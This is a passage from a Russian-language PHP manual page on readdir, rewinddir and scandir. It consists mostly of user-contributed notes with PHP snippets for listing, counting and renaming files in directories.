          $done = [$root=>$files];
          foreach ($done[$root]['dirs'] as $key=>$value) {
              $done[$root]['dirs'][$key] = $this->read_path($key, $depth-1);
          }
          return $done[$root];
    }
stiles daht nathan ahat geemale 20-Jun-2014 05:54
I'm on 5.4.21 this function returns null after . and .. on an empty directory.  ZendServer for IBMi
Blizzz 02-Sep-2013 04:42
If dir_handle is not a proper resource, null will be returned instead of false.
jpittman2 at gmail dot com 18-Jul-2013 05:55
Warning when using readdir() on certain versions of CentOS on NFS-mounted directories:

This is not a bug with PHP's readdir, but a bug with certain versions of CentOS's readdir implementation.  According to Post #6213 in the CentOS Bugs forum, when using CentOS kernel versions 2.6.18-348 through 2.6.18-348.3.1, invoking readdir on an NFS-mounted directory may not return all the entries.  Since PHP's readdir() uses this library, the issue is manifest in PHP as well.

According to the post, upgrading to version 2.6.18-348.4.1.el5 should solve the issue, though I haven't tried it.

glob() does NOT seem to suffer from this same vulnerability.
avi dot megladon at gmail dot com 22-Jun-2012 12:51
loop through folders and sub folders with option to remove specific files.

<?php
function listFolderFiles($dir,$exclude){
    $ffs = scandir($dir);
    echo '<ul class="ulli">';
    foreach($ffs as $ff){
        if(is_array($exclude) and !in_array($ff,$exclude)){
            if($ff != '.' && $ff != '..'){
            if(!is_dir($dir.'/'.$ff)){
            echo '<li><a href="edit_page.php?path='.ltrim($dir.'/'.$ff,'./').'">'.$ff.'</a>';
            } else {
            echo '<li>'.$ff;
            }
            if(is_dir($dir.'/'.$ff)) listFolderFiles($dir.'/'.$ff,$exclude);
            echo '</li>';
            }
        }
    }
    echo '</ul>';
}

listFolderFiles('.',array('index.php','edit_page.php'));
?>
Mauro Alessandro Nonnis 17-Jul-2011 01:57
## List and Rename  all files on recursive directories with "recursive directory name" as template + filename
## Advice:  other files in the same directory will result in a warning
## scriptname : Recursive Dir_Renfiles_dirname-filename.php

<?php
if ($handle = opendir('.')) {
    while (false !== ($file = readdir($handle))) {
                if ($file != "." && $file != ".." && $file != "Recursive Dir_Renfiles_dirname-filename.php") {
                    echo "$file";
        echo "<br>";
                    $count = -1;
                     $handle2 = @opendir($file);
                        while (false !== ($file2 = @readdir($handle2))) {
                        echo "$file2";
                        if ($count <10 ){ @rename("$file/$file2", "$file/$file"."_$file2");}
                        else { @rename("$file/$file2", "$file/$file"."_$file2");}
                        echo "<br>";
                         $count = $count + 1;
                            }
             echo "<br>";
        }
    }
    closedir($handle);
}
?>
mrlemonade 09-Jul-2011 03:34
Get all files on recursive directories in single array.

<?php
/*
 * mrlemonade ~
 */

function getFilesFromDir($dir) {

  $files = array();
  if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {
            if(is_dir($dir.'/'.$file)) {
                $dir2 = $dir.'/'.$file;
                $files[] = getFilesFromDir($dir2);
            }
            else {
              $files[] = $dir.'/'.$file;
            }
        }
    }
    closedir($handle);
  }

  return array_flat($files);
}

function array_flat($array) {

  foreach($array as $a) {
    if(is_array($a)) {
      $tmp = array_merge($tmp, array_flat($a));
    }
    else {
      $tmp[] = $a;
    }
  }

  return $tmp;
}

// Usage
$dir = '/data';
$foo = getFilesFromDir($dir);

print_r($foo);
?>
stuart at horuskol dot net 02-May-2011 10:20
Looking through the examples, I can't see any that do a simple check on the value of the directory resource that opendir returns and is subsequently used by readdir.

If opendir returns false, and you simply pass this to the readdir call in the while loop, you will get an infinite loop.

A simple test helps prevent this:

<?php

$dir = opendir($path);
while ($dir && ($file = readdir($dir)) !== false) {
  // do stuff
}

?>
sreekumar [at] sreek [dot] in 12-Apr-2011 02:04
A function I created to non-recursively get the path of all files and folders including sub-directories of a given folder.
Though I have not tested it completely, it seems to be working.

<?php

/**
 * Finds path, relative to the given root folder, of all files and directories in the given directory and its sub-directories non recursively.
 * Will return an array of the form
 * array(
 *   'files' => [],
 *   'dirs'  => [],
 * )
 * @author sreekumar
 * @param string $root
 * @result array
 */
function read_all_files($root = '.'){
  $files  = array('files'=>array(), 'dirs'=>array());
  $directories  = array();
  $last_letter  = $root[strlen($root)-1];
  $root  = ($last_letter == '\\' || $last_letter == '/') ? $root : $root.DIRECTORY_SEPARATOR;

  $directories[]  = $root;

  while (sizeof($directories)) {
    $dir  = array_pop($directories);
    if ($handle = opendir($dir)) {
      while (false !== ($file = readdir($handle))) {
        if ($file == '.' || $file == '..') {
          continue;
        }
        $file  = $dir.$file;
        if (is_dir($file)) {
          $directory_path = $file.DIRECTORY_SEPARATOR;
          array_push($directories, $directory_path);
          $files['dirs'][]  = $directory_path;
        } elseif (is_file($file)) {
          $files['files'][]  = $file;
        }
      }
      closedir($handle);
    }
  }

  return $files;
}
?>
Qwerp 11-Nov-2010 10:42
Here's a handy function you can use to list the files in the directory you specify, their type (dir or file) and whether they are hidden.
You could modify it to do other things too.

<?php
function listDirs($where){
echo "<table border=\"1\"><tr><td><b>Name</b></td><td><b>Type</b></td>";
echo "<td><b>Invisible (Hidden)?</b></td></tr>";
    $itemHandler=opendir($where);
    $i=0;
    while(($item=readdir($itemHandler)) !== false){
        if(substr($item, 0, 1)!="."){
            if(is_dir($item)){
                echo "<tr><td>$item</td><td>Directory</td><td>No</td></tr>";
            }else{
                echo "<tr><td>$item</td><td>File</td><td>No</td></tr>";
            }
            $i++;
        }else{
            if(is_dir($item)){
                echo "<tr><td>$item</td><td>Directory</td><td>Yes</td></tr>";
            }else{
                echo "<tr><td>$item</td><td>File</td><td>Yes</td></tr>";
            }
            $i++;
        }
       }
echo "</table>";
}
?>
Then call it like this.
<?php
listDirs(DIR);
?>
Example:
<?php
listDirs("/tests/directorylisting");
?>

You get a table like this.

Name    Type    Invisible (Hidden)?
.    Directory    Yes
..    Directory    Yes
.DS_Store    File    Yes
.localized    File    Yes
index.php    File    No
OOOLS    Directory    No
QwerpWiki.php    File    No
frasq at frasq dot org 01-Nov-2010 07:46
A variation on listing all the files in a directory recursively. The code illustrates a basic technique : the use of an auxiliary function. It avoids building temporary lists which are merged on the way back. Note that the array which collects the information must be passed by reference.

<?php
function listdir($dir='.') {
    if (!is_dir($dir)) {
        return false;
    }

    $files = array();
    listdiraux($dir, $files);

    return $files;
}

function listdiraux($dir, &$files) {
    $handle = opendir($dir);
    while (($file = readdir($handle)) !== false) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        $filepath = $dir == '.' ? $file : $dir . '/' . $file;
        if (is_link($filepath))
            continue;
        if (is_file($filepath))
            $files[] = $filepath;
        else if (is_dir($filepath))
            listdiraux($filepath, $files);
    }
    closedir($handle);
}

$files = listdir('.');
sort($files, SORT_LOCALE_STRING);

foreach ($files as $f) {
    echo  $f, "\n";
}
?>
yasirlayth at live dot com 04-Jan-2010 05:36
this simple function will index the directories and sub-directories of a given dir

<?php
function get_dirs($dir){
    global $dirs;
    if (!isset($dirs)){$dirs = '';}
    if(substr($dir,-1) !== '\\'){$dir .= '\\';}
    if ($handle = opendir($dir)){
        while (false !== ($file = readdir($handle))){
            if (filetype($dir.$file) === 'dir' && $file != "." && $file != ".."){
                clearstatcache();
                $dirs .= $file . "\n";
                get_dirs($dir . $file);
            }
        }
        closedir($handle);
    }
    return $dirs;
}
?>
DaveRandom 17-May-2009 07:39
A very flexible function to recursively list all files in a directory with the option to perform a custom set of actions on those files and/or include extra information about them in the returned data.

 ----------

 SYNTAX:
   $array = process_dir ( $dir , $recursive = FALSE )
        $dir  (STRING)   =  Directory to process
  $recursive  (BOOLEAN)  =  [Optional] Recursive if set to TRUE

 RETURN VALUES:
  The function returns an indexed array, one entry for every file. Each entry is an associative array, containing the basic information 'filename' (name of file) and 'dirpath' (directory component of path to file), and any additional keys you configure. Returns FALSE on failure.

 ----------

  To allow you to configure another key, the entry for each file is stored in an array, "$entry" for each iteration. You can easily return any additional data for a given file using $entry['keyname'] = ... (Note that this data can be any variable type - string, bool, float, resource etc)

  There is a string variable "$path" available, which contains the full path of the current file, relative to the initial "$dir" supplied at function call. This data is also available in it's constituent parts, "$dir" and "$file". Actions for each file can be constructed on the basis of these variables. The variables "$list", "$handle" and "$recursive" should not be used within your code.

 ----------

 Simply insert you code into the sections indicated by the comments below and your away!

 The following example returns filename, filepath, and file modified time (in a human-readable string) for all items, filesize for all files but not directories, and a resource stream for all files with 'log' in the filename (but not *.log files).

<?php

  function process_dir($dir,$recursive = FALSE) {
    if (is_dir($dir)) {
      for ($list = array(),$handle = opendir($dir); (FALSE !== ($file = readdir($handle)));) {
        if (($file != '.' && $file != '..') && (file_exists($path = $dir.'/'.$file))) {
          if (is_dir($path) && ($recursive)) {
            $list = array_merge($list, process_dir($path, TRUE));
          } else {
            $entry = array('filename' => $file, 'dirpath' => $dir);

 //---------------------------------------------------------//
 //                     - SECTION 1 -                       //
 //          Actions to be performed on ALL ITEMS           //
 //-----------------    Begin Editable    ------------------//

  $entry['modtime'] = filemtime($path);

 //-----------------     End Editable     ------------------//
            do if (!is_dir($path)) {
 //---------------------------------------------------------//
 //                     - SECTION 2 -                       //
 //         Actions to be performed on FILES ONLY           //
 //-----------------    Begin Editable    ------------------//

  $entry['size'] = filesize($path);
  if (strstr(pathinfo($path,PATHINFO_BASENAME),'log')) {
    if (!$entry['handle'] = fopen($path,r)) $entry['handle'] = "FAIL";
  }

 //-----------------     End Editable     ------------------//
              break;
            } else {
 //---------------------------------------------------------//
 //                     - SECTION 3 -                       //
 //       Actions to be performed on DIRECTORIES ONLY       //
 //-----------------    Begin Editable    ------------------//

 //-----------------     End Editable     ------------------//
              break;
            } while (FALSE);
            $list[] = $entry;
          }
        }
      }
      closedir($handle);
      return $list;
    } else return FALSE;
  }

  $result = process_dir('C:/webserver/Apache2/httpdocs/processdir',TRUE);

 // Output each opened file and then close
  foreach ($result as $file) {
    if (is_resource($file['handle'])) {
        echo "\n\nFILE (" . $file['dirpath'].'/'.$file['filename'] . "):\n\n" . fread($file['handle'], filesize($file['dirpath'].'/'.$file['filename']));
        fclose($file['handle']);
    }
  }

?>
HeadRoom 08-May-2009 12:08
Thought I would include what I wrote to get a random image from a directory.

<?php
$image_dir = 'images';
$count = 0;
if ($handle = opendir($image_dir)) {
    $retval = array();
    while (false !== ($file = readdir($handle))) {
        if (($file <> ".") && ($file <> "..")) {
        $retval[$count] = $file;
        $count = $count + 1;
            }
    }

    closedir($handle);
}
shuffle($retval);
$current_image = $retval[0];
?>

[NOTE BY danbrown AT php DOT net: Contains a bugfix/typofix inspired by 'ffd8' on 19-JUN-09.]
hanan dot ali dot shaikh at gmail dot com 14-Mar-2009 11:37
This function is used to display random image i.e. at header position of a site. It reads the whole directory and then randomly print the image. I think it may be useful for someone.

<?php
if ($handle = opendir('images/')) {
   $dir_array = array();
    while (false !== ($file = readdir($handle))) {
        if($file!="." && $file!=".."){
            $dir_array[] = $file;
        }
    }
    echo $dir_array[rand(0,count($dir_array)-1)];
    closedir($handle);
}
?>
hotrungdungit at gmail dot com 18-Dec-2008 08:59
Below will return an array of file names and folders in directory

<?php
function ReadFolderDirectory($dir = "root_dir/here")
    {
        $listDir = array();
        if($handler = opendir($dir)) {
            while (($sub = readdir($handler)) !== FALSE) {
                if ($sub != "." && $sub != ".." && $sub != "Thumb.db") {
                    if(is_file($dir."/".$sub)) {
                        $listDir[] = $sub;
                    }elseif(is_dir($dir."/".$sub)){
                        $listDir[$sub] = $this->ReadFolderDirectory($dir."/".$sub);
                    }
                }
            }
            closedir($handler);
        }
        return $listDir;
    }
?>
Kim Christensen 05-May-2008 08:14
Handy little function that returns the number of files (not directories) that exists under a directory.
Choose if you want the function to recurse through sub-directories with the second parameter -
the default mode (false) is just to count the files directly under the supplied path.

<?php

  /**
   * Return the number of files that resides under a directory.
   *
   * @return integer
   * @param    string (required)   The directory you want to start in
   * @param    boolean (optional)  Recursive counting. Default to FALSE.
   * @param    integer (optional)  Initial value of file count
   */

  function num_files($dir, $recursive=false, $counter=0) {
    static $counter;
    if(is_dir($dir)) {
      if($dh = opendir($dir)) {
        while(($file = readdir($dh)) !== false) {
          if($file != "." && $file != "..") {
              $counter = (is_dir($dir."/".$file)) ? num_files($dir."/".$file, $recursive, $counter) : $counter+1;
          }
        }
        closedir($dh);
      }
    }
    return $counter;
  }

  // Usage:
  $nfiles = num_files("/home/kchr", true); // count all files that resides under /home/kchr, including subdirs
  $nfiles = num_files("/tmp"); // count the files directly under /tmp

?>
info at agentur-obermaier dot de 15-Apr-2008 04:13
This is a nice quick full dir read - sorry for my bad english ;)

<?php
function ReadDirs($dir,$em){
    if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != ".." && $file != "Thumb.db") {
            if(is_dir($dir.$file)){
                echo $em."&raquo; ".$file.'<br>';
                ReadDirs($dir.$file."/",$em."&nbsp;&nbsp;");
            }
        }
    }
    closedir($handle);
    }
}
?>
skysama at googles_email dot com 12-Sep-2007 10:23
Yet another view files by extension

/* NOTE:
 *  /a-d = do not include directories
 *  /b   = show files in bare mode ( no dates or filesize )
 */

<?php
$dir = '.\\img\\';    // reminder: escape your slashes
$filetype = "*.png";
$filelist = shell_exec( "dir {$dir}{$filetype} /a-d /b" );
$file_arr = explode( "\n", $filelist );
array_pop( $file_arr ); // last line is always blank
print_r( $file_arr );
?>
schursin at gmail[deleteme] dot com 27-May-2007 06:42
code:

<?php

        function permission($filename)
        {
            $perms = fileperms($filename);

            if     (($perms & 0xC000) == 0xC000) { $info = 's'; }
            elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; }
            elseif (($perms & 0x8000) == 0x8000) { $info = '-'; }
            elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; }
            elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; }
            elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; }
            elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; }
            else                                 { $info = 'u'; }

            // владелец
            $info .= (($perms & 0x0100) ? 'r' : '-');
            $info .= (($perms & 0x0080) ? 'w' : '-');
            $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));

            // группа
            $info .= (($perms & 0x0020) ? 'r' : '-');
            $info .= (($perms & 0x0010) ? 'w' : '-');
            $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));

            // все
            $info .= (($perms & 0x0004) ? 'r' : '-');
            $info .= (($perms & 0x0002) ? 'w' : '-');
            $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

            return $info;
        }

        function dir_list($dir)
        {
            if ($dir[strlen($dir)-1] != '/') $dir .= '/';

            if (!is_dir($dir)) return array();

            $dir_handle  = opendir($dir);
            $dir_objects = array();
            while ($object = readdir($dir_handle))
                if (!in_array($object, array('.','..')))
                {
                    $filename    = $dir . $object;
                    $file_object = array(
                                            'name' => $object,
                                            'size' => filesize($filename),
                                            'perm' => permission($filename),
                                            'type' => filetype($filename),
                                            'time' => date("d F Y H:i:s", filemtime($filename))
                                        );
                    $dir_objects[] = $file_object;
                }

            return $dir_objects;
        }

?>

call:

<?php

        print_r(dir_list('/path/to/you/dir/'));

?>

output sample:

Array
(
    [0] => Array
        (
            [name] => api
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 01:55:02
        )

    [1] => Array
        (
            [name] => classes
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 26 May 2007 00:56:44
        )

    [2] => Array
        (
            [name] => config.inc.php
            [size] => 143
            [perm] => -rw-rw-rw-
            [type] => file
            [time] => 26 May 2007 13:13:19
        )

    [3] => Array
        (
            [name] => index.php
            [size] => 131
            [perm] => -rw-rw-rw-
            [type] => file
            [time] => 26 May 2007 22:15:18
        )

    [4] => Array
        (
            [name] => modules
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 00:47:40
        )

    [5] => Array
        (
            [name] => temp
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 04:49:33
        )

)
(Qube#php@Efnet) 15-May-2007 08:36
<?php

// Sample function to recursively return all files within a directory.
// http://www.pgregg.com/projects/php/code/recursive_readdir.phps

Function listdir($start_dir='.') {

  $files = array();
  if (is_dir($start_dir)) {
    $fh = opendir($start_dir);
    while (($file = readdir($fh)) !== false) {
      # loop through the files, skipping . and .., and recursing if necessary
      if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue;
      $filepath = $start_dir . '/' . $file;
      if ( is_dir($filepath) )
        $files = array_merge($files, listdir($filepath));
      else
        array_push($files, $filepath);
    }
    closedir($fh);
  } else {
    # false if the function was called with an invalid non-directory argument
    $files = false;
  }

  return $files;

}

$files = listdir('.');
print_r($files);
?>
(Qube#php@Efnet) 14-May-2007 02:41
Here is an updated version of preg_find() [which has been linked from the glob() man page for years] - this function should provide most of what you want back from reading files, directories, different sorting methods, recursion, and perhaps most powerful of all the ability to pattern match with a PCRE regex.

You can get preg_find here: http://www.pgregg.com/projects/php/preg_find/preg_find.php.txt
or if you prefer colourful .phps format: http://www.pgregg.com/projects/php/preg_find/preg_find.phps
or scoll down to the end of this note.

I wrote several examples on how to use it on my blog at: http://www.pgregg.com/forums/viewtopic.php?tid=73

simple glob() type replacement:
$files = preg_find('/./', $dir);

recursive?
$files = preg_find('/./', $dir, PREG_FIND_RECURSIVE);

pattern match? find all .php files:
$files = preg_find('/\.php$/D', $dir, PREG_FIND_RECURSIVE);

sorted alphabetically?
$files = preg_find('/\.php$/D', $dir, PREG_FIND_RECURSIVE|PREG_FIND_SORTKEYS);

sorted in by filesize, in descending order?
$files = preg_find('/./', $dir,
  PREG_FIND_RECURSIVE|PREG_FIND_RETURNASSOC |PREG_FIND_SORTFILESIZE|PREG_FIND_SORTDESC);
$files=array_keys($files);

sorted by date modified?
$files = preg_find('/./', $dir,
  PREG_FIND_RECURSIVE|PREG_FIND_RETURNASSOC |PREG_FIND_SORTMODIFIED);
$files=array_keys($files);

Ok, the PHP note says my note is too long, so please click on one of the above links to get it.
phpwizard-at-pech-dot-cz 04-Jul-2002 01:22
It should work, but it'll be better to read section 13.1.3 Cache-control Mechanisms of RFC 2616 available at http://rfc.net/rfc2616.html before you start with confusing proxies on the way from you and the client.

Reading it is the best way to learn how proxies work, what should you do to modify cache-related headers of your documents and what you should never do again. :-)

And of course not reading RFCs is the best way to never learn how internet works and the best way to behave like Microsoft corp.

Have a nice day!
Jirka Pech


Сбросить дескриптор каталога

  • « readdir
  • scandir »
  • PHP Manual
  • Функции для работы с каталогами
  • Сбросить дескриптор каталога

rewinddir

(PHP 4, PHP 5, PHP 7, PHP 8)

rewinddir — Сбросить дескриптор каталога

Описание

rewinddir(?resource $dir_handle = null): void

Сбрасывает поток каталога, переданный в параметре dir_handle таким образом, чтобы тот указывал на начало каталога.

Список параметров

dir_handle

Ресурс (resource) дескриптора каталога, ранее открытый с помощью функции opendir(). Если дескриптор каталога не указан, подразумевается последний дескриптор, который был открыт с помощью opendir().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | dir_handle теперь допускает значение null.

User Contributed Notes

ASchmidt at Anamera dot net 11-Jun-2018 07:59
It is crucial to note that rewinddir() does not simply start over at the beginning of the SAME directory list. Instead, this function first re-reads the directory - thus any file that were deleted (or inserted) since the original opendir() will be reflected after "rewinding".

In that respect, rewinddir() is equivalent to a closedir(), opendir() sequence, but without obtaining a new handle.
osamahussain897 at gmail dot com 27-Jan-2018 09:08
/* Source Code */

<?php
$dir = "/images/";

// Open a directory, and read its contents
if (is_dir($dir)){
  if ($dh = opendir($dir)){
    // List files in images directory
    while (($file = readdir($dh)) !== false){
      echo "filename:" . $file . "<br>";
    }
    rewinddir();
    // List once again files in images directory
    while (($file = readdir($dh)) !== false){
      echo "filename:" . $file . "<br>";
    }
    closedir($dh);
  }
}
?>

/* Result */

filename: cat.gif
filename: dog.gif
filename: horse.gif
filename: cat.gif
filename: dog.gif
filename: horse.gif


Получает список файлов и каталогов, расположенных по указанному пути

  • « rewinddir
  • FileInfo »
  • PHP Manual
  • Функции для работы с каталогами
  • Получает список файлов и каталогов, расположенных по указанному пути

scandir

(PHP 5, PHP 7, PHP 8)

scandir — Получает список файлов и каталогов, расположенных по указанному пути

Описание

scandir(string $directory, int $sorting_order = SCANDIR_SORT_ASCENDING, ?resource $context = null): array|false

Возвращает массив (array), содержащий имена файлов и каталогов, расположенных по пути, переданном в параметре directory.

Список параметров

directory

Сканируемый каталог.

sorting_order

По умолчанию сортировка производится в алфавитном порядке по возрастанию. Если необязательный параметр sorting_order установлен в значение SCANDIR_SORT_DESCENDING, сортировка производится в алфавитном порядке по убыванию. Если же он установлен в значение SCANDIR_SORT_NONE, то сортировка не производится.

context

За описанием параметра context обратитесь к разделу Потоки данного руководства.

Возвращаемые значения

Возвращает массив (array) имён файлов в случае успешного выполнения или false в случае возникновения ошибки. Если directory не является каталогом, возвращается false и генерируется сообщение об ошибке уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | context теперь допускает значение null.

Примеры

Пример #1 Простой пример использования функции scandir()

<?php
$dir = '/tmp';
$files1 = scandir($dir);
$files2 = scandir($dir, SCANDIR_SORT_DESCENDING);

print_r($files1);
print_r($files2);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => .
    [1] => ..
    [2] => bar.php
    [3] => foo.txt
    [4] => somedir
)
Array
(
    [0] => somedir
    [1] => foo.txt
    [2] => bar.php
    [3] => ..
    [4] => .
)

Примечания

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • opendir() - Открывает дескриптор каталога
  • readdir() - Получает элемент каталога по его дескриптору
  • glob() - Находит файловые пути, совпадающие с шаблоном
  • is_dir() - Определяет, является ли имя файла директорией
  • sort() - Сортирует массив по возрастанию

User Contributed Notes

arthur dot am dot app at gmail dot com 03-Mar-2023 01:53
$path_abs = __DIR__ .'/test/';

if( DIRECTORY_SEPARATOR != substr($path, -1) || (DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR) == substr($path, -2))
{
    throw new Error("A non-standard path is specified. `{$path}`");
}

$scandir_result = scandir( $path, SCANDIR_SORT_DESCENDING );

for( $n = 0, $e = count($scandir_result) - 2; $n < $e; $n++ )
{
    echo ($path  .  $scandir_result[$n])  .'<br/>';
}
coolbikram0 at gmail dot com 04-Dec-2021 05:53
A simple recursive function to list all files and subdirectories in a directory:
<?php
function listAllFiles($dir) {
  $array = array_diff(scandir($dir), array('.', '..'));

  foreach ($array as &$item) {
    $item = $dir . $item;
  }
  unset($item);
  foreach ($array as $item) {
    if (is_dir($item)) {
     $array = array_merge($array, listAllFiles($item . DIRECTORY_SEPARATOR));
    }
  }
  return $array;
}
?>
djacobson at usa dot rugby 03-Feb-2020 09:39
<?php
/**
  * Get rid of the dots, the occasional `.DS_Store` file and reindex the
  * resulting array all at once.
  *
  * @param string $path_to_directory The relative path to your target directory.
  *
  * @return array The reindexed array of files.
  */
function get_the_files( $path_to_directory ) {
    return array_slice( array_diff( scandir( $path_to_directory ), array( '..', '.', '.DS_Store' ) ), 0 );
}
?>
webmaster at gmail dot com 27-Oct-2019 08:17
easy way to list every item in a directory

<?php
$itemnum = 1;
$dir = 'C:/Path/To/Directory';
foreach(scandir($dir) as $item){
    if (!($item == '.')) {
        if (!($item == '..')) {
              echo($itemnum." = ".$item."<br>");
             $itemnum = ($itemnum + 1);
}}}
?>
Nerbert 29-Jul-2019 12:58
If you use array_diff() to eliminate "." and ".." you must use array_values() on the result because array_diff() will return an associative array, which may cause problems for a for loop beginning at 0.

$files = array_values(array_diff(scandir($directory), array('..', '.')));
artmanniako at gmail dot com 02-Mar-2019 11:28
How i solved problem with '.' and '..'

$x = scandir__DIR__; //any directory
foreach ($x as $key => $value) {
        if ('.' !== $value && '..' !== $value){
               echo $value;
   }
}
Simple and working
admin at kmoz000 dot free 21-Aug-2018 01:49
function ScaniDir($path){
  $ptd= opendir($path);
  while (( $ptdf=readdir($ptd))){
      $srca = $path.'/'.$ptdf;
     if (is_file($srca) and pathinfo($srca, PATHINFO_EXTENSION)=='pdf') {$files['src'][]=$srca;$files['name'][]=explode('.',$ptdf)[0];}

    }
return $files ;

 }
info at remark dot no 25-Feb-2018 07:08
Someone wrote that array_slice could be used to quickly remove directory entries "." and "..". However, "-" is a valid entry that would come before those, so array_slice would remove the wrong entries.
SPekary 03-Jun-2017 06:30
Unless you specify no sorting, file names are sorted in ASCII alphabetic order, meaning numbers first, then uppercase, then lowercase letters, even on operating systems whose file system ignores the case of file names when it does its own sorting.

For example, on Mac OS, the following files will appear in this order in the Finder, when your disk is formated using the standard file system:
1file.php
a.inc
B.txt
c.txt

However, scandir will produce an array in the following order:
1file.php
B.txt
a.inc
c.txt
simon dot riget at gmail dot com 02-Jun-2016 07:28
This is a simple and versatile function that returns an array tree of files, matching wildcards:

<?php
// List files in tree, matching wildcards * and ?
function tree($path){
  static $match;

  // Find the real directory part of the path, and set the match parameter
  $last=strrpos($path,"/");
  if(!is_dir($path)){
    $match=substr($path,$last);
    while(!is_dir($path=substr($path,0,$last)) && $last!==false)
      $last=strrpos($path,"/",-1);
  }
  if(empty($match)) $match="/*";
  if(!$path=realpath($path)) return;

  // List files
  foreach(glob($path.$match) as $file){
    $list[]=substr($file,strrpos($file,"/")+1);
  }

  // Process sub directories
  foreach(glob("$path/*", GLOB_ONLYDIR) as $dir){
    $list[substr($dir,strrpos($dir,"/",-1)+1)]=tree($dir);
  }

  return @$list;
}
?>
telefoontoestel59 at hotmail dot com 01-Jul-2015 02:12
I was looking for an easy way to get only files from a certain directory. I came up with the following line of code that will result in an array listing only files. the samen can be done for directories ofcourse.

<?php
$files = array_filter(scandir($directory), function($file) { return is_file($file); })
?>
Tom 24-Jan-2015 04:01
Just was curious to count files and lines in a project

<?php

  function DirLineCounter( $dir , $result = array('lines_html' => false, 'files_count' => false, 'lines_count' => false ), $complete_table = true )
  {

      $file_read = array( 'php', 'html', 'js', 'css' );
      $dir_ignore = array();

      $scan_result = scandir( $dir );

      foreach ( $scan_result as $key => $value ) {

          if ( !in_array( $value, array( '.', '..' ) ) ) {

              if ( is_dir( $dir . DIRECTORY_SEPARATOR . $value ) ) {

                  if ( in_array( $value, $dir_ignore ) ) {
                    continue;
                  }

                  $result = DirLineCounter( $dir . DIRECTORY_SEPARATOR . $value, $result, false );

              }
              else {

              $type = explode( '.', $value );
              $type = array_reverse( $type );
              if( !in_array( $type[0], $file_read ) ) {
                continue;
              }

              $lines = 0;
              $handle = fopen( $dir . DIRECTORY_SEPARATOR . $value, 'r' );

              while ( !feof( $handle ) ) {

                  if ( is_bool( $handle ) ) {
                      break;
                  }

                  $line = fgets( $handle );
                  $lines++;
              }

              fclose( $handle );

              $result['lines_html'][] = '<tr><td>' . $dir . '</td><td>' . $value . '</td><td>' . $lines . '</td></tr>';
              $result['lines_count'] = $result['lines_count'] + $lines;
              $result['files_count'] = $result['files_count'] + 1;

              }
          }
      }

      if ( $complete_table ) {

        $lines_html = implode('', $result['lines_html']) . '<tr><td></td><td style="border: 1px solid #222">Files Total: ' . $result['files_count'] . '</td><td style="border: 1px solid #222">Lines Total: ' . $result['lines_count'] . '</td></tr>';
        return '<table><tr><td style="width: 60%; background-color:#ddd;">Dir</td><td style="width: 30%; background-color:#ddd;">File</td><td style="width: 10%; background-color:#ddd;">Lines</td></tr>' . $lines_html . '</table>';

      }
      else {
        return $result;
      }

  }

  echo DirLineCounter( '.' );

?>
eep2004 at ukr dot net 07-Oct-2014 09:28
Fastest way to get a list of files without dots.
<?php
$files = array_slice(scandir('/path/to/directory/'), 2);
gambit_642 AT hotmailDOTcom 22-Jan-2014 02:04
Needed something that could return the contents of single or multiple directories, recursively or non-recursively,
for all files or specified file extensions that would be
accessible easily from any scope or script.

And I wanted to allow overloading cause sometimes I'm too lazy to pass all params.
<?php
class scanDir {
    static private $directories, $files, $ext_filter, $recursive;

// ----------------------------------------------------------------------------------------------
    // scan(dirpath::string|array, extensions::string|array, recursive::true|false)
    static public function scan(){
        // Initialize defaults
        self::$recursive = false;
        self::$directories = array();
        self::$files = array();
        self::$ext_filter = false;

        // Check we have minimum parameters
        if(!$args = func_get_args()){
            die("Must provide a path string or array of path strings");
        }
        if(gettype($args[0]) != "string" && gettype($args[0]) != "array"){
            die("Must provide a path string or array of path strings");
        }

        // Check if recursive scan | default action: no sub-directories
        if(isset($args[2]) && $args[2] == true){self::$recursive = true;}

        // Was a filter on file extensions included? | default action: return all file types
        if(isset($args[1])){
            if(gettype($args[1]) == "array"){self::$ext_filter = array_map('strtolower', $args[1]);}
            else
            if(gettype($args[1]) == "string"){self::$ext_filter[] = strtolower($args[1]);}
        }

        // Grab path(s)
        self::verifyPaths($args[0]);
        return self::$files;
    }

    static private function verifyPaths($paths){
        $path_errors = array();
        if(gettype($paths) == "string"){$paths = array($paths);}

        foreach($paths as $path){
            if(is_dir($path)){
                self::$directories[] = $path;
                $dirContents = self::find_contents($path);
            } else {
                $path_errors[] = $path;
            }
        }

        if($path_errors){echo "The following directories do not exists<br />";die(var_dump($path_errors));}
    }

    // This is how we scan directories
    static private function find_contents($dir){
        $result = array();
        $root = scandir($dir);
        foreach($root as $value){
            if($value === '.' || $value === '..') {continue;}
            if(is_file($dir.DIRECTORY_SEPARATOR.$value)){
